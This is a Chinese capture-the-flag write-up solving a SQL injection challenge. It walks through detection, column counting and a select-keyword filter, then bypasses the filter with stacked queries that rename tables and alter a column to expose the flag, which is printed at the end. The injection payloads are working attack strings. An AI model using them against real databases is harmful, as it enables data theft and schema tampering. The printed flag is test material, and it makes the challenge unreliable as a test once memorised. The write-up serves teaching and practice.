首先,判断是否存在注入,若输入1'发现不回显,输入1'#显示回显正常,那么就存在注入
然后判断注入是字符型还是数字型,输入1'or'1'=1回显正常,那么该注入应该是字符型
第二步,猜解SQL查询语句中的字段数
输入1'order by 1#回显正常
再输入1'order by 2#,回显正常
直到输入1'order by 3#显示错误,那么字段数就有两个
第三步,显示字段,输入1'union select 1,2#回显一个正则过滤规则
过滤了select,update,delete,drop,insert,where,.这些词,尝试堆叠注入
第四步,查询数据库,输入1';show datebase;#成功回显,说明存在堆叠注入
第五步,查询表,输入1';show tables;#成功回显,得到两个表words和1919810931114514
第六步,查询表中字段,输入1';show columns from`words`;#
再输入1';show columns from `1919810931114514`;#
看到有flag字段
最后一步就是获取flag了,看到这里有两张表,那回显内容肯定是从word这张表里回显的,我们要让它回显flag所在的表中。既然没有过滤alert和rename,那么我们可以把表改个名字,再给列也改个名字。
先把words改名为word1,再把1919810931114514表改名为words,再把新的words表里的flag列改名为id.
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
在输入1'or'1'='1#查询就可以得到flag
flag{fd5cd530-c9f0-4e99-9232-e73c29a2ae1d}